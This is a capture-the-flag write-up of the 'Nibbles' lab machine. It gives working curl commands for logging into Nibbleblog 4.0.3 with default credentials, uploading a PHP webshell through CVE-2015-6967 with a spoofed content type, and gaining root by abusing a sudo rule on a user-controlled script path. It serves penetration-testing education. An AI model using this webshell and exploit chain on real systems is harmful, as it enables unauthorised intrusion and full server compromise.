Nibbles
Nibbleblog 4.0.3 was running with default credentials and an authenticated unrestricted file upload vulnerability (CVE-2015-6967) in the My Image plugin allowed uploading a PHP webshell that gave code execution as nibbler.
Overview
Nibbles is an easy-difficulty Linux machine running Nibbleblog 4.0.3. The attack begins by finding a hidden /nibbleblog/ path leaked in an HTML comment, logging in with default credentials (admin:nibbles), and exploiting CVE-2015-6967 — an authenticated unrestricted file upload in the My Image plugin — to land a PHP webshell as nibbler. Privilege escalation abuses a sudo rule that grants passwordless execution of a script located inside a path the user controls, enabling instant root by creating and running a malicious script.
Machine Matrix
High Real-Life score reflects that default credentials combined with an unpatched authenticated file upload (CVE-2015-6967) are a realistic production finding, while the CTF-like axis is elevated by the HTML comment path leak and the contrived sudo rule targeting a nonexistent user-owned directory.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH | Linux SSH |
| 80/tcp | Apache httpd | Homepage with hidden comment |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,80 -sC -sV -Pn 10.10.10.X
Port 80 serves a plain Apache page with no visible links, but the HTML source contains a comment pointing to /nibbleblog/ — the only non-obvious entry point on this box.
Enumeration
Reading the homepage source reveals the hidden path:
1
curl -s http://10.10.10.X/ | grep -i "<!--"
The response contains <!-- /nibbleblog/ directory. Nothing interesting here! -->. Browsing to /nibbleblog/ confirms Nibbleblog 4.0.3 is running and its admin panel is accessible at /nibbleblog/admin.php.
Testing the admin panel with hard-coded default credentials succeeds immediately:
1
2
3
curl -s -c /tmp/nibbles_c.txt -X POST \
"http://10.10.10.X/nibbleblog/admin.php" \
-d "username=admin&password=nibbles" -L -o /dev/null -w "%{http_code}"
A 200 response with admin panel content confirms access. The username admin and password nibbles (matching the application name) were never changed from the install defaults.
Foothold
With an authenticated session, the My Image plugin accepts file uploads. CVE-2015-6967 documents that Nibbleblog 4.0.3 validates only the Content-Type HTTP header rather than the actual file content, allowing a PHP file to be uploaded and executed from a predictable web-accessible path.
Create the PHP webshell:
1
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/nibbles_shell.php
Upload it through the My Image plugin endpoint, spoofing the content type:
1
2
3
curl -s -b /tmp/nibbles_c.txt -X POST \
-F "image=@/tmp/nibbles_shell.php;filename=image.php;type=image/png" \
"http://10.10.10.X/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image"
Confirm remote code execution by calling the uploaded file:
1
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php?cmd=id"
The response returns uid=1001(nibbler) — code execution as nibbler.
User flag
1
2
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
--get --data-urlencode "cmd=cat /home/nibbler/user.txt"
1
cat /home/nibbler/user.txt # HTB{...}
Foothold landed directly as nibbler who owns user.txt — no lateral movement needed.
Privilege Escalation
Check sudo rights through the webshell:
1
2
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
--get --data-urlencode "cmd=sudo -l"
The response shows: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Verify the target path does not exist:
1
2
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
--get --data-urlencode "cmd=ls /home/nibbler/personal/ 2>&1"
Output: ls: cannot access '/home/nibbler/personal/': No such file or directory
Because the path lives inside nibbler’s home directory, this user has full control over it. This is a privilege mismanagement flaw combined with insecure file permissions — the sudoers rule grants root execution of whatever the user writes at that location. Create the directory, write a malicious script, and run it:
1
2
3
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
--get --data-urlencode \
"cmd=mkdir -p /home/nibbler/personal/stuff && printf '#!/bin/bash\ncp /root/root.txt /tmp/r.txt && chmod 777 /tmp/r.txt\n' > /home/nibbler/personal/stuff/monitor.sh && chmod +x /home/nibbler/personal/stuff/monitor.sh && sudo /home/nibbler/personal/stuff/monitor.sh"
Read the root flag now world-readable at /tmp/r.txt:
1
2
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
--get --data-urlencode "cmd=cat /tmp/r.txt"
Root flag
1
cat /root/root.txt # HTB{...}
Full compromise achieved — root-level code execution confirmed via the misconfigured sudo rule pointing to a user-controlled path.